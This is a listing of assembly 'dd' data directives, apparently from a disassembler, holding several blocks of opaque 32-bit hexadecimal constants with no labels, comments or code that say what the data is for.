dd 0F5C4DC36h, 0DFDB293Eh, 0BDC135BEh, 71B3688h, 0D63C59B3h
dd 6E0CF198h, 1AA023F3h, 5DE70C7h, 54DA5A7h, 23B508Ch
dd 0C8308D2Ah, 26C8BEFDh, 9074C96Ch, 77888EDBh, 46B50F86h
dd 0F291A77Ah, 9E0694A2h, 0D94D2F8Ah, 0D496D766h, 1FE4DDCCh
dd 464E9956h, 114DDFBAh, 6C54F2F1h, 51DEC08Ah, 0F06E3605h
dd 7324EA34h, 469A89AEh, 0C7D781D7h, 0C53FB277h, 0DEBE366Dh
dd 0F518AE5Bh, 0CF0E481Ch, 6CBBF9E6h, 0BBD8822h, 0F663A745h
dd 88E076h, 0C7CCDC5Ah, 7729FC4Eh, 62372210h, 9A3CCA9h
dd 0CF4AF9D3h, 70AE6205h, 0A5BA72D4h, 78E77235h, 6B8A805Bh
dd 23EF3F91h, 2F6C9B61h, 2C5FFDA7h, 2E3C074Ch, 0E2E59A00h
dd 42D30373h, 0ED4D7Dh, 0BD5619Dh, 85AE368Dh, 0E2F9D36Ch
dd 4E3C40F7h, 0F3FBE99Eh, 980036F7h, 7AEC7FFBh, 0B6A0081Dh
dd 19F98772h, 0E8CE99E8h, 9B708E72h, 0AD7990CBh, 0F37937E0h
dd 0D293DEh, 0D5A6E714h, 0D8B10A97h, 0F26C4AC7h, 0ECFC0E5Eh
dd 0DC29456Dh, 9C421F45h, 1FEBF685h, 0C93174h, 0CC63FFAFh
dd 0EE55D5BBh, 25AF33ACh, 26C5A170h, 689F6FC0h, 0D09B108Ch
dd 5341B0E4h, 0A776F416h, 210D14BBh, 5CEC9EC5h, 0DBB94841h
dd 0C47C4728h, 0D53C9A6Eh, 95457944h, 0B0E33DC5h, 36B84F6Eh
dd 0E26F25C7h, 0D6AB7F8Dh, 7B4989CEh, 0AE6B1611h, 0D794B249h
dd 34D3AAAEh, 0FE85E3DBh, 803E3255h, 66666177h, 9B08C5D0h
dd 39CE7E05h, 94FF655Dh, 9391E6FBh, 8A27F63h, 76C2D3A7h
dd 0DBC42473h, 0C40A39CDh, 0C286670Ah, 406D9449h, 9FB11123h
dd 0A5284A10h, 14FC59E5h, 6C3F1ACh, 57ABD965h, 5F62B244h
dd 472E51B9h, 0F83C1F8h, 2FE537C4h, 0BECB6819h, 0D818141h
dd 0F3C06D9Fh, 10D4FFEEh, 0E90D1B61h, 107E390Dh, 7F400F55h
dd 127E199Eh, 902DB8F4h, 0A644720Bh, 0C99CB65h, 5A764F42h
dd 76708D5Ch, 0DFBE0AF5h, 0D83D90BAh, 52BAE5B1h, 957FA82h
dd 0B49B183Eh, 91DBD232h, 8EFB6EFAh, 8267D7F7h, 89F79633h
dd 0CEAE532Ch, 0C45B3801h, 2F34CB8Eh, 8A956752h, 0BA4BE5DAh
dd 0A1FA71A9h, 0C798410Eh, 7F4C304Dh, 4DF76E1Ch, 0B0A51D8Ch
dd 0BD87CDD7h, 6BB693D0h, 2B3DADCBh, 0E8BD1EBAh, 217063C5h
dd 65C75CC4h, 37A80190h, 24CA203Bh, 0F2D05C3Ch, 792B62BBh
dd 67B649Eh, 0FAC8377Dh, 69344921h, 74292DE9h, 0EABBF628h
dd 0A5E6C3Ah, 7B7447D8h, 9C02397Ch, 0E6020129h, 377FD9F7h
dd 0FA445315h, 0CD860436h, 0CFA3C68Eh, 30AAFA6h, 22A5CF36h
dd 0CEF04600h, 0AC4E0CEh, 8DD30F03h, 3420E4EAh, 0B7FC4813h
dd 59E94B20h, 0DEF04A78h, 95D625E7h, 0C5F4D120h, 0B02FF0FFh
dd 0B3FF537Dh, 74548047h, 88CE3049h, 5182B6E3h, 1E880DCAh
dd 0E0834830h, 0A4DEFB84h, 1821DECFh, 0D6BE6EF9h, 52828A61h
dd 5168444Ah, 75AEE558h, 0F2BD901h, 0FB96246Bh, 756DCEE9h
dd 7BE49473h, 0E1733080h, 0D70BFCF8h, 0F96E4D09h, 0BBC6CD63h
dd 4C513A8Dh, 8A6263Fh, 7A1F22Dh, 5D4EF2EFh, 0AB9AED63h
dd 22D4AFD9h, 3B6131B3h, 0A1C24AC5h, 9742CC01h, 8072D871h
dd 612A880h, 0EE75DABh, 8166945Eh, 9F3A6512h, 793EDD11h
dd 0B970DCD0h, 1A24376Bh, 4851A2ABh, 0F215C180h, 743CDC4h
dd 45D61CF3h, 0EFAD4398h, 0D4C0C081h, 8DE6F94Fh, 19AE4532h
dd 0B841CF49h, 0BA675938h, 69AD839Eh, 13B8DD67h, 794B816Ah
dd 40BD3F39h, 0EBF6D3FCh, 7704A14Ah, 0C965143Eh, 907D2B39h
dd 0C1E77CEFh, 0A17F97D2h, 0C52E3A24h, 50E11183h, 41A4EECDh
dd 9851FD4Ch, 0B54FD8E7h, 5F25B47Ch, 76AC1AD2h, 0F8E5A022h
dd 43AAF9BDh, 0FB6F2CECh, 914A81DDh, 0ACDA31ADh, 0FE679264h
dd 562BB489h, 9AECC705h, 418F7111h, 0EDB7B760h, 92B20A5h
dd 0EE6AC958h, 0AA9B523Dh, 0DF838F05h, 0B66B85ECh, 0D98B54ACh
dd 35E04D14h, 52E24F5Bh, 38B74D49h, 77EC6D94h, 0AD3DB252h
dd 0A60A599h, 12C50CD3h, 0CFBCE82Eh, 79955A45h, 9878A267h
dd 51DEF338h, 46FA22BAh, 0D090D604h, 3518CDACh, 38EAFE7Fh
dd 48F62F39h, 0AA74C6C5h, 80370916h, 96710F27h, 0DBAA6E8Eh
dd 415FEE65h, 2F2510DBh, 7C33B3B7h, 51BAC471h, 0EBFF8ACAh
dd 0A34C45B6h, 0DA1B6364h, 73769DB3h, 0A33A17EBh, 1A0AA94Dh
dd 0C733A54Ch, 0EDABC3BAh, 63D30C08h, 38220D03h, 0F36FAACEh
dd 2858E225h, 762C9621h, 302CF1EFh, 0B1A9362Ch, 0EE74C70Eh
dd 0C4252989h, 64408889h, 0CB233252h, 4D78C43Dh, 2FC58352h
dd 4D781B13h, 166F1FC6h, 0DED09B9Dh, 0B6ED8014h, 0B4F59624h
dd 7CE99128h, 0BAB58517h, 0D1BF4349h, 0FBC2B758h, 68880029h
dd 7449DD30h, 0F50C9BC9h, 0C26A86A5h, 542C3EDAh, 11643BBDh
dd 5833D5BBh, 5E8FED5Bh, 0CCD539A8h, 0BE20B485h, 0A2F84D2Ch
dd 0BE09F267h, 21213CDBh, 0A8F1EC73h, 5E48CC15h, 0EF099859h
dd 1242DF76h, 0BD855D29h, 0B82E097Fh, 0F4B73A11h, 33F1ECF9h
dd 1728C5CCh, 0AAD95BA6h, 3928AC80h, 89B81D43h, 4E9C572Bh
dd 2AA95054h, 0FCFCE6CCh, 3FADE02Fh, 0C9313C21h, 547FB36Bh
dd 35C34DD6h, 0CEA7696Bh, 5BA083CEh, 0C0951074h, 59C3C44Dh
dd 1BEE7169h, 5A8455E6h, 69D50A46h, 79F66D5h, 0EEEB2E7Fh
dd 62C5A490h, 18B0B586h, 0E2CE5BDEh, 0B258E1B9h, 0B4C64C60h
dd 0E68BCC5h, 746E3h, 9351C9CEh, 28253DFDh, 6B3C12A4h
dd 3462B171h, 593AD2C6h, 5C2C3E1Bh, 1B4C1D04h, 673B622Ch
dd 0ED49467Fh, 0E7E611D6h, 6405C69Dh, 0BCE7D509h, 1EFF5DCFh
dd 6A388E44h, 82C8634Fh, 10691A02h, 32347464h, 1804960Eh
dd 7FBFB879h, 48077653h, 8988EC49h, 43BAA597h, 42EA843Dh
dd 0CE46344Bh, 0F8EEBCA3h, 448164E9h, 0F5850C17h, 0BA692702h
dd 313C35DDh, 0F9EB0E6h, 2DD30939h, 6707C5CBh, 8608A3C0h
dd 58312257h, 3B55DE85h, 0B876D82Fh, 39E441BDh, 0A39F75AAh
dd 26B52B2Dh, 11A9E3E1h, 755791DBh, 5B824DC8h, 47C9E5A1h
dd 71B7D781h, 0A09F28F4h, 39366F60h, 7C1BCACDh, 54E5C2F8h
dd 0A3F300FAh, 0F362B6Ch, 77E66F59h, 9AD6B169h, 5B405F07h
dd 780EC94h, 4021559Bh, 0AB889B78h, 0FB9D5EEFh, 0FC2E3318h
dd 0A16440C2h, 5D19F07Eh
dd 74A81EDEh, 0A4C574A9h, 135D909Eh, 688088A1h, 0A1E62DF1h
dd 9A54490Ch, 0D9CF2F76h, 0D3342327h, 88746B7Ah, 0C081E264h
dd 0FE895716h, 0D690A618h, 0C29509F8h, 107A5702h, 4434667Eh
dd 0D01D3087h, 54861162h, 10D196A2h, 7E1829E8h, 0BA71BC7Bh
dd 4B484888h, 64E305D2h, 1F8DC8Eh, 0F4B6F726h, 9C9AECFEh
dd 0F00EEAAAh, 0B039E02Ch, 0FA4CE592h, 4605DEFEh, 31C118Fh
dd 4CE0A880h, 151F2AD4h, 0A83B92BCh, 91C7F15h, 99F43575h
dd 1AA5A0CCh, 0A1802883h, 705E929Ch, 927382E5h, 5496C4C7h
dd 46BA7911h, 72CAE262h, 8FB2081Eh, 0CCD67DC2h, 74F1C7AEh
dd 68975149h, 41D10E03h, 0C5B50A03h, 79356F8Ah, 56A79B99h
dd 99315F00h, 646300E3h, 1424BF0Eh, 7B998095h, 0D54B5198h
dd 0D549D995h, 0DDF4CDFBh, 650D13A6h, 5B742733h, 1999BAD0h
dd 0C549C768h, 0D1F01F0Bh, 9C814D3Ah, 3D038FA9h, 1A7C741Ah
dd 0A2B04E12h, 3A1277FFh, 2B83D7Bh, 46544C45h, 6455249Bh
dd 4B7A30C9h, 0BA9CEAFFh, 0A62F00A8h, 0CD7F5539h, 8AEFF91Dh
dd 25343DC9h, 0CACAC2FBh, 70A8E014h, 84A25476h, 0D11858h
dd 2773BD80h, 0AEE55B79h, 0EA49915Ch, 68A04AABh, 81554616h
dd 0AA67F09Eh, 5E3D5F3Ch, 54673A8Fh, 73571BB9h, 71DEAC25h
dd 0FE52E863h, 500515Dh, 0C3D8DCBDh, 3DEEAAD2h, 0FB640C8Ah
dd 22B32B2h, 41F6D9FBh, 0CDD19601h, 0A02CF687h, 6124702Dh
dd 1D4F530Dh, 0BB000534h, 706FF2ADh, 1B2CBCACh, 22F674DCh
dd 6014DA34h, 51065B94h, 5A35D12Fh, 4C1E6D37h, 23B7EB4h
dd 31E15A1Bh, 81D053D0h, 60F9BC93h, 1699A644h, 57F3AD97h
dd 567D2B51h, 0F81D9CEAh, 0F98241CBh, 10C92686h, 3A6AFFB5h
dd 0F66D2A42h, 7E690F5Dh, 700665C2h, 0CA9C7FE4h, 8DAAACDEh
dd 45AE4F50h, 21E5BFBBh, 65F21F8Fh, 62EC4D5h, 0F3FECD98h
dd 7C092180h, 1DDA3A30h, 0CC69A2E4h, 7EEC532h, 2892376Fh
dd 15682853h, 0DE01B57Bh, 0C4E8F6D3h, 8B8C60B7h, 33B3E47Dh
dd 0DF286090h, 2FD9CE54h, 0C50457A0h, 0D46B2571h, 1820DD9Ch
dd 34BD5584h, 8E313A40h, 445EF88Dh, 53FC3069h, 0D3376910h
dd 50884D81h, 5F87806Fh, 0C2BB8332h, 0CF331996h, 73464CF8h
dd 2A8EA7C7h, 18873B09h, 8836F6EBh, 5296845Ch, 0C77BD775h
dd 2FB8D872h, 0F33131BFh, 8FFF8A64h, 46FA0EF1h, 0A1B4A070h
dd 6FA55C66h, 705A73DDh, 278CC71Bh, 515D7EFDh, 621C7B8Ah
dd 5FBDF752h, 0C40B393Dh, 0CD0EBA24h, 83810C55h, 1D141CA3h
dd 2EB8FD9Fh, 0B8091CFh, 0A09BC1FCh, 7216DE3Ah, 0A24E97F4h
dd 0B3710Dh, 8090F8F7h, 309A67B1h, 6DCBDF01h, 7CD95197h
dd 0D37A6659h, 0C923D14Ch, 0B478D584h, 94AEBFF7h, 649B66ADh
dd 0B24314C2h, 1B4B9464h, 0D8128BFAh, 0F2429706h, 0DE4C4E38h
dd 6220BC2Eh, 912D1DB7h, 0A7838E24h, 459D963Dh, 6750E744h
dd 49FC2C1Fh, 0C9B1550Ah, 26B4D2A2h, 0B5596EC7h, 6B388822h
dd 40B8FA25h, 41BAE2BAh, 4081FA59h, 60ABA649h, 98A4DF19h
dd 6DD8D791h, 0AC8A9E52h, 0AA1C9369h, 3B8611BAh, 38CAE26h
dd 93A5D3F3h, 8C99A85h, 7E5E2E0Dh, 0E2A372B2h, 495B2FB9h
dd 35DB280Ch, 83040DA6h, 3A378E4Eh, 8BA65910h, 202398ECh
dd 7AB3391Bh, 0A31DE8Eh, 0F26EC34Ah, 8A3711E7h, 781E2573h
dd 208F8EADh, 45191484h, 27B91986h, 98CACBD4h, 9A40CA3Dh
dd 3F3FE597h, 0F9E2207Fh, 0D244F16Eh, 5003EF7h, 0E23A1572h
dd 0AAB296h, 73F8569Ch, 1844AB6Bh, 7F3E1F37h, 79DF387Ch
dd 0FF3D4FC2h, 774DF8DDh, 861A897Bh, 9BBA6D54h, 7A26690h
dd 39E325ECh, 884796DAh, 0D2F6206Ah, 8769DE32h, 0E0C93168h
dd 92564940h, 252D0710h, 0B5248086h, 9CB54B76h, 0E3BBBC80h
dd 6138F2B8h, 0B9D3F0DFh, 0A8553A95h, 0BB2C6DCDh, 78843120h
dd 4D7210A2h, 0FCEC7886h, 2CF4F338h, 0E6DE71CFh, 300D4AF1h
dd 115D8B7Bh, 66F54DCBh, 55131AF6h, 0BEDEFF32h, 32000E60h
dd 9E89A566h, 1ADC5884h, 447D15ADh, 1151F253h, 0D6A99480h
dd 0C342DCE2h, 0EBDBAAE9h, 0CB1419E3h, 3C274E7Bh, 0E09FA89Fh
dd 0C33D64Bh, 0A1B90F07h, 5BE2C8A6h, 0F713A6F3h, 29527027h
dd 17DB2EA7h, 4298A094h, 454DA843h, 0A1792398h, 51DE7185h
dd 3EBAFBAh, 3A702449h, 0A7E45050h, 864D089Ch, 6DCAA9B2h
dd 0CD578D83h, 0E5D64035h, 0D184005Bh, 891BFE84h, 0C6FD417Bh
dd 95F54AD4h, 12FC7054h, 75A5E683h, 50B11778h, 0B7DD475Fh
dd 3E646AB2h, 497FAED8h, 69753E58h, 1F3CEA3h, 9CD949C6h
dd 0A3559172h, 0DE96B7B5h, 1008AC8Ch, 33A3C0C0h, 4986C5E6h
dd 5EEC819Ah, 7A68C039h, 0F01A1683h, 0B25B31F7h, 36B8A44Ah
dd 0ECAC9183h, 7484CC57h, 0D496CE4Fh, 81BB570Bh, 36DE2CFh
dd 1E3D8C5h, 0A2BDBA2h, 87DC04F7h, 0A629E5h, 99C33E81h
dd 14BDBC86h, 9EF74DFDh, 9FAF3E6Dh, 0AC7DD05Ah, 8A691325h
dd 0DB21AF26h, 64F754C7h, 0EB13DE34h, 20A3B801h, 0D2B4926Eh
dd 9577935Eh, 10C72493h, 8EDC4714h, 260990E0h, 4B7B6E5Fh
dd 0D1942FFEh, 0D4ABBFAh, 5A962CB3h, 5D4D8C54h, 0C15C7C5Ch
dd 54BB319Bh, 0AC8A3DCAh, 5E06F123h, 2371C510h, 8CDAF3B8h
dd 0F2CD078Ch, 0F35D93CAh, 0AEFF9EE9h, 0C5CD6C2h, 0E298F278h
dd 50BE78A9h, 67E8EB5Fh, 95564589h, 0E49CD7E7h, 3D9CDAE4h
dd 2357FB5Eh, 0D5D82D69h, 596E25B4h, 723D3C1Eh, 63DB1B14h
dd 0C3C2A273h, 5E6BFE46h, 0C9976D75h, 5A064A54h, 7929EBFCh
dd 674F47AAh, 0B995A253h, 0B5BC5128h, 7882AE63h, 0DED85F46h
dd 55394478h, 8C96A462h, 47E44C3Eh, 750BD15Fh, 66DD346Eh
dd 16355487h, 14031C57h, 738FD941h, 0A1F31D9Bh, 21F3237Bh
dd 363FC333h, 0BE7901E2h, 0B49FE9F2h, 91CDC674h, 23C452B2h
dd 5F4A3E7Dh, 76F4D92Fh, 21BC0165h, 9F9FEBB3h, 0DBA64864h
dd 0C341EBB7h, 4963F8C2h, 562E1B5Eh, 0B7A708BCh, 1986886Ch
dd 0F06B5D15h, 0CBCEA586h, 1D828E06h, 3133DEBBh, 7D6B61C9h
dd 8AB8669Ch, 37AD0C02h, 0D3C0AC1Ch, 0B3702AAh, 0E8AE51Eh
dd 0C88281DCh, 0F3121CA3h, 85FBC11Ch, 9B1D2A81h, 11BFA644h
dd 0D35AAC80h, 0E790E997h, 0B33A6DE9h, 35758D69h, 54A57E1Bh
dd 9727E02Eh, 0D351D76Ah, 8ACE12B2h, 0E404E1CEh, 0A57DFE31h
dd 18D33B3Eh, 0A044E326h, 0C0C9AB6Bh, 6013A2BEh, 6B43157Bh
dd 93CD17D5h, 69720D77h, 6F624008h, 21BD7F8h, 2ED9F1EDh
dd 0D4BEE3AAh, 0AA60D176h, 7656AF4Ah, 0C79D1860h, 8AB611B2h
dd 99FE117Ah, 32AB2555h, 872A80BBh, 5C82153Dh, 26CFB988h
dd 76696BE3h, 67EF8017h, 0F684B9DBh, 0B904FA79h, 0DEE83A36h
dd 3507F608h, 3A38538Fh, 0AD6110C5h, 0E480B25Eh, 0D477B18Fh
dd 7892D6C0h, 1137B300h, 0EBA2948Bh, 51C9C1CAh, 0B2BAD9B4h
dd 0DFB3EA98h, 0A51A1D15h, 95ACAD37h, 0AA873DD2h, 1322F33Bh
dd 12715160h, 4A9F2DE5h, 47380DABh, 9AE2EAAEh, 3260EB5Dh
dd 0C6D91215h, 0D7E12F28h, 62040EDEh, 7CBA507Fh, 7700BA0Dh
dd 8F8316E5h, 99290504h, 0A42F6AE9h, 0CC98A95Bh, 0A43B3AF8h
dd 7129A5CAh, 3B38F26Dh, 0E20F0FC5h, 0BF52AA77h, 9E200FF1h
dd 7E1AED66h, 28DF9081h, 23ECEF8Dh, 9BBADCB0h, 0FCCE9299h
dd 0F41FD9F1h, 6A265B82h, 0B58D95A1h, 7A9C0875h, 7C3FE989h
dd 0CEFE5CE9h, 0E2419EDh, 77535EEBh, 4AA55A16h, 301E4A34h
dd 0CADF6A8Fh, 64E7FA7Bh
dd 0E20C317Eh, 0A9E5384h, 1FC93E89h, 46456293h, 4312C67Bh
dd 675E27E4h, 236EE2AEh, 0A07021EDh, 0FDF396Eh, 9F3A986Eh
dd 2D22E871h, 104C088Fh, 434830C3h, 0B7BD680Eh, 0CFD89FD6h
dd 1734DD13h, 5FFF3170h, 8638602Ch, 0D461433Dh, 8C710A84h
dd 15959CBDh, 59690E71h, 922B3F69h, 1B19EB08h, 0FDE06EB4h
dd 0F02C2395h, 0BA77D4D4h, 72D52835h, 0B323D33Bh, 0F24C498Bh
dd 84062509h, 6FBB758h, 19D4A6Ah, 65A1C028h, 8747D409h
dd 0BEA64DD1h, 9440D0BEh, 0F72481D9h, 54992415h, 0F1BD332Dh
dd 20A1A34Ah, 50BC7D0h, 0AE936043h, 9E862AE7h, 16ADFCEDh
dd 0BB666C1Ah, 25C7099h, 389D52A6h, 0B2F1BCB5h, 0EFE72ECh
dd 4F906E19h, 0C2BBA0EBh, 0B45C04A2h, 8545492Eh, 52A62146h
dd 46DD75F6h, 856584CAh, 0AD7C957h, 826A95BAh, 0BEA95844h
dd 418EA6D7h, 0DE124FADh, 0FA57567Ch, 53102E76h, 0A78119F1h
dd 4CE13D8Ch, 4E88E4F1h, 0EACBDB3Eh, 3DCF8A2h, 0C0F88186h
dd 80BBB43Ch, 9A56A750h, 0B4FAECC8h, 0C55A09BCh, 7596BCADh
dd 4DD64E85h, 0EF5AD975h, 0A89CD4C6h, 0E9D7D9D5h, 693E23BBh
dd 2595C471h, 0D8A4C27Dh, 3ECC2FE2h, 13B9922Fh, 42E06DD2h
dd 569AB937h, 64756770h, 0A8259878h, 0BC0910B7h, 7D68E86Eh
dd 0B20D414Ah, 997FC85Ah, 0B80843B2h, 0BE635EC1h, 9FA2549Eh
dd 0A8E415B7h, 6050557Ch, 5D28F404h, 0B57EF90Fh, 29585AEEh
dd 36C6C48Bh, 945FE1BAh, 52ED9C52h, 0BD8F58B2h, 0CCF977A8h
dd 0B014E93Dh, 8906C1D5h, 8A5AC89Ch, 67070AFh, 30F346B1h
dd 883E4272h, 81FC3C54h, 0AA5345BCh, 0E0AE226Bh, 227E08BAh
dd 0E3567C3Dh, 0F3B58849h, 0C4632AB5h, 0A367A240h, 82323AE3h
dd 58275D4Bh, 0E67A5E8Bh, 415C0A14h, 893DB872h, 0C3B2FB91h
dd 51CD9F87h, 0A13A6126h, 398E65D9h, 1E04C6AFh, 7159A4ECh
dd 0CA9FA650h, 0F026B5DAh, 0FDA2886Eh, 0CD7EC931h, 0EDC156F9h
dd 67B67AA2h, 391C62AFh, 27D119DDh, 0EA4E36E8h, 0CE2537E5h
dd 0A61EA9E7h, 406BE407h, 509DC895h, 889EC8CBh, 2A9E6C55h
dd 925E9D05h, 3F77A124h, 0E0A68517h, 759B1B43h, 0B6FCE3D4h
dd 2C63AB4Eh, 49BA7E68h, 3E4A2E5Fh, 0C0545E4Fh, 27B8C146h
dd 71494A57h, 0C33DF371h, 0FD399670h, 72B7F8BBh, 17E101A7h
dd 8805DDBh, 4B64AD19h, 37B174C2h, 0E426084Fh, 74E7FAA7h
dd 0F8150D32h, 891F1D29h, 0B3BD5D47h, 0CAF5B607h, 1349E741h
dd 19D08936h, 0FC72E0DCh, 0C1650879h, 2569C0EBh, 6BE976E8h
dd 0A25A7CE6h, 68EF771Bh, 7D90C8D5h, 0B0D18146h, 386673A2h
dd 0ECD3997h, 15FB4B06h, 0A2ABA539h, 0CC16339Eh, 0EB3C7011h
dd 41EA0F76h, 7D119983h, 2AC9BC85h, 58D7D362h, 5604CFF9h
dd 9EF8E1DFh, 0FA509C64h, 2C6284CBh, 38E1EDAEh, 7B1A0CBFh
dd 995B85ACh, 54643738h, 0C178CC59h, 0D9A6211Eh, 3F85EE5Dh
dd 8C79C042h, 0A310A125h, 0F5D9E33Bh, 449B4C4Ah, 8EC32C4Fh
dd 4DD46507h, 64268DA5h, 77169C63h, 8EEBFA22h, 5B47E55Ah
dd 0E821AB7Bh, 0EC2E5DA6h, 6FC1A1C6h, 6C4B2644h, 1CD27C2h
dd 17507BEh, 0D254B8E9h, 0E1EB7805h, 0DC725244h, 177B8D9Eh
dd 26EB6115h, 2362061Eh, 42561152h, 0A5B873FDh, 0D953F8EAh
dd 6370F0AAh, 46F27F68h, 0EC3530A2h, 890B3AD0h, 8FDFB3FAh
dd 58257AF2h, 0ECB3236Ah, 3C2D0119h, 8A474399h, 9AC93E58h
dd 0DCC96C7Dh, 5EFD30EAh, 0D8960404h, 0FDFF7670h, 0A3F67B32h
dd 711C9847h, 0C8CD83B8h, 37CC629Fh, 0BFFF1A36h, 831D943Ch
dd 4C6DF40h, 0FD25F1C7h, 4CC0056Fh, 0B7635F5h, 0F2766D9Fh
dd 75D3BF49h, 0DD2B40EEh, 0A308925Ch, 0C263D2E9h, 0D47E9FE8h
dd 29309BF5h, 0AA55CFA5h, 0BF718367h, 5D166454h, 3616B46Bh
dd 23EAA378h, 4D140691h, 2157B2F4h, 6D8D4380h, 1595D08Eh
dd 0FDCAA466h, 0A5DEDCA0h, 0EF43DA16h, 45933598h, 5BFA61ADh
dd 533FC82Fh, 0BC86871Ah, 0AF640742h, 0F447FC99h, 0D45BEEE5h
dd 0C19EA36Eh, 0B7D2FC2Eh, 0B685BBC8h, 93CB760Eh, 81666ADEh
dd 8DA0D0C1h, 198C9BF2h, 1F8D2EAEh, 0C2CC239Fh, 0F8C2AE41h
dd 0A36A7291h, 402DE0B9h, 0DA273FA7h, 2A3151F4h, 0B3D7B9E4h
dd 97B4ED40h, 85C8CC9Bh, 606D3BD9h, 0C65E9DEh, 644CFA17h
dd 7BE1AE9Ah, 711B286Bh, 9C63F65h, 25015060h, 9FBC776h
dd 0BC64C0D4h, 73C9C64h, 6B3F6BBDh, 0D24EE2C7h, 5110AFF6h
dd 267B8FFBh, 0B4A12A58h, 1160E5E5h, 7E7E950Dh, 0E10550E1h
dd 0A893CC83h, 6693A81Ch, 7298A0A2h, 9BFFED23h, 10F118BFh
dd 560190E8h, 7D0BB58Dh, 51464484h, 2740C7CFh, 0BA6E375h
dd 0CFE1440Dh, 0AEEC39EBh, 4C8AFDF6h, 2D34B265h, 4C8B5208h
dd 7FE36C76h, 0C07BC931h, 0C7140111h, 63C34E8Dh, 0A6D5143Ah
dd 0C9B81177h, 7C56D7B7h, 0AC8C8C5Bh, 3612C933h, 0DB8C2829h
dd 3430C0B7h, 0CB67D690h, 1D71AD83h, 68B568D8h, 0B70D1382h
dd 2EC9F3B4h, 0F0ED13AAh, 95DEB55Dh, 0BCF2196Eh, 8DB2D164h
dd 96C8B054h, 0E8544F66h, 4A87CCCDh, 233D1E2h, 4522B83Ch
dd 0FD9503ACh, 2A8D6D55h, 7D069F6Ah, 0A4102A46h, 0D8FD3D9Dh
dd 306E9F2Eh, 0C6F14B2h, 0D880C71Ah, 0E6994635h, 0EC94139Eh
dd 4C3D225Fh, 2742B7B9h, 8FA50F8Ah, 81CF2416h, 85880CD0h
dd 33160D72h, 0FE580D0Eh, 2C91E805h, 492FB56Ah, 5CA2021h
dd 73180DBFh, 4F08F46Bh, 0CDF5CFCCh, 0FD97B98Fh, 0AA5A7030h
dd 2A595C89h, 7B80D3E1h, 0E9165F91h, 398F2510h, 7E247000h
dd 98842FA6h, 4895AE1Ch, 29607A71h, 1EEB7A50h, 97C21836h
dd 7FEEFE90h, 0BBE99D8Bh, 425EEFBAh, 6740960h, 728C6F48h
dd 50511B12h, 4A537912h, 6314E22Fh, 977ABE79h, 0A5A485F4h
dd 0F6CC95C2h, 2DEBD69h, 0AB85CFEDh, 0EA0280C2h, 32F65FC3h
dd 5793DC5Bh, 6425EC30h, 6735027Fh, 0E3CDFC36h, 40C2765Fh
dd 84382B95h, 0DD039472h, 74A625E4h, 3DA166E7h, 47DC9B5Ch
dd 9DB6BBCAh, 0D1083824h, 62D5E53Ch, 27A3FEB7h, 3A85DCF5h
dd 3897FCEh, 0AD44E0A3h, 4EEA1815h, 0C2AB6013h, 9A470FBEh
dd 47608B68h, 1A5E5281h, 502644F6h, 0B2B6E49Ah, 0FC4D7F0h
dd 24E93D63h, 552EBD58h, 1C89C4E5h, 5CC5A43Bh, 4DC91E84h
dd 92BCB6E9h, 0F0060860h, 14645BA1h, 0B017A084h, 0B9C9E059h
dd 4AF58F7h, 98819CDCh, 8A666A6Dh, 151767E1h, 4C04FE0Ch
dd 2EA36654h, 0DD5F42DBh, 60169949h, 0DCAD1341h, 608530E7h
dd 6956F362h, 6EA3D4Ah, 3E4B94D0h, 5FB2E628h, 25F63855h
dd 13833684h, 0B469E289h, 0F6DBDADh, 5CF1F1E1h, 7FA763DAh
dd 0BC149A37h, 662A2C6h, 0CC6A30B1h, 59F2FF79h, 0F78A960Ah
dd 0FF0198DDh, 1E1F7234h, 6AC54903h, 7CBB83C4h, 30E3EA36h
dd 97D55F2Fh, 3D1285B8h, 7378DE94h, 21B8C8C7h, 4990C67h
dd 3D804912h, 0E61AB23Bh, 7D279694h, 8D02D472h, 4022493Ah
dd 7F63AF74h, 0E10A8FE7h, 0F11AF900h, 45286A27h, 0F5D859E8h
dd 53CACEFAh, 0AE687D53h, 0CE80C68Bh, 346A207Dh, 5637CEACh
dd 0BB5BF5FBh, 49226FF5h, 994321EDh, 35137D6Bh, 0F27820Eh
dd 50CEC6D0h, 0FF407AF6h, 0BBE8DE4Fh, 5B109F94h, 0D6CA73F5h
dd 4F9C9CD7h, 7F9CB4EDh, 0CEB3CE3Eh, 2BF13338h, 4F8E7F08h
dd 0E06D8CAEh, 278F1F1h, 80A7CCE6h, 0A1915942h, 0DEE4E8C9h
dd 61B231FAh, 49CD6817h, 90611E19h, 0F432BFD8h, 0DAF236DBh
dd 0F2BFB64h, 84F30354h
dd 863DA7Ah, 752FCA53h, 3B532316h, 0BAAD6D54h, 0B4D13368h
dd 0FD23C3EFh, 9A1922B2h, 7CA4C3DDh, 9C9C2B1Bh, 1A2AB95Dh
dd 614B7A34h, 88233FA5h, 0A7152C32h, 0FAF4A0CEh, 7CC07145h
dd 785E3361h, 0B8E8D579h, 34E2CBDh, 48AAEF10h, 0DA9CD75Dh
dd 311E9B11h, 0E9D96213h, 0C463A0C9h, 185B7D50h, 97216DCAh
dd 31025DD2h, 9618686Fh, 6FC8409Eh, 97BD9054h, 33D667F4h
dd 1029978Fh, 4608DA3Ah, 0E916F057h, 690D9B0Ah, 973414FEh
dd 10572870h, 9AE94E0Dh, 0FDF48A42h, 575F6DE0h, 8396589Bh
dd 5CD5B596h, 0D9644200h, 5E5079C0h, 0AF57D0C1h, 0E5A2B93Bh
dd 0BC8B7660h, 56A4D0EFh, 5A105EA1h, 488E84B7h, 4833EAAh
dd 0A49B500Ah, 0DE1FE3Ch, 7AB630B1h, 0D0524D51h, 5E25723Dh
dd 0FA5B7C64h, 7436CEE1h, 0C1E30F1Fh, 0DCB89C15h, 0EF085441h
dd 0E4CDFBE3h, 1520B64Bh, 1B6C42EAh, 0BEFE36BDh, 68452CDFh
dd 354E2AEAh, 0F401DCFFh, 0C13D174Bh, 0D2E0C03Fh, 1CBDD281h
dd 630FD78Bh, 0FE4D526Bh, 3945D5Bh, 5D2C4661h, 52776977h
dd 7C1689FDh, 0D419DC01h, 0DE8F3E11h, 0BD737E8Bh, 0D4239A30h
dd 489BC4C0h, 43DF195Bh, 569F60B4h, 0E0ED25DDh, 16682A93h
dd 0BA0F5C7Bh, 0A33BA9E5h, 0EB43066h, 0C89E78E8h, 88BB22E1h
dd 49D7B344h, 0BC5F6F2h, 0F04BE9AAh, 8B828B57h, 763B3ECh
dd 0ED221090h, 0F15FF605h, 69DD431h, 8D53F14Ch, 0CCF7F6Ch
dd 0A3DCA582h, 51B54F2h, 0DA15FBB4h, 5CA21C3Fh, 786CC86Fh
